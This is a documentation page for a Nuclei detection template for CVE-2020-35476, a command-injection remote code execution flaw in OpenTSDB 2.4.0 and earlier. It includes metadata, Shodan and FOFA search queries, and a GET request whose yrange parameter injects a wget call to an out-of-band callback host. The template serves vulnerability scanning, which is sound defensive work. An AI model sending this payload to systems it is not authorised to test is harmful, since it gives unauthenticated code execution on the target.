Skip to content
Nuclei Templates

OpenTSDB <=2.4.0 - Remote Code Execution

ID: CVE-2020-35476

Severity: critical

Author: pikpikcu

Tags: cve,cve2020,opentsdb,rce,packetstorm

Description

Section titled “Description”

OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2020-35476


info:
  name: OpenTSDB <=2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade OpenTSDB to a version higher than 2.4.0 to mitigate this vulnerability.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
    epss-score: 0.95741
    epss-percentile: 0.99293
    cpe: cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: opentsdb
    product: opentsdb
    shodan-query:
      - html:"OpenTSDB"
      - http.html:"opentsdb"
    fofa-query: body="opentsdb"
  tags: cve,cve2020,opentsdb,rce,packetstorm


http:
  - method: GET
    path:
      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - plotted
          - timing
          - cachehit
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dee5e3d69d2d9e03273fcc862964b70d474be5d5f7f2c65807763ee35e8c1af8022100a0de01cfd0ab15b682501320fadb6abffe5bfdaecf0ad29f0562acfb53390676:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-35476.yaml"

View on Github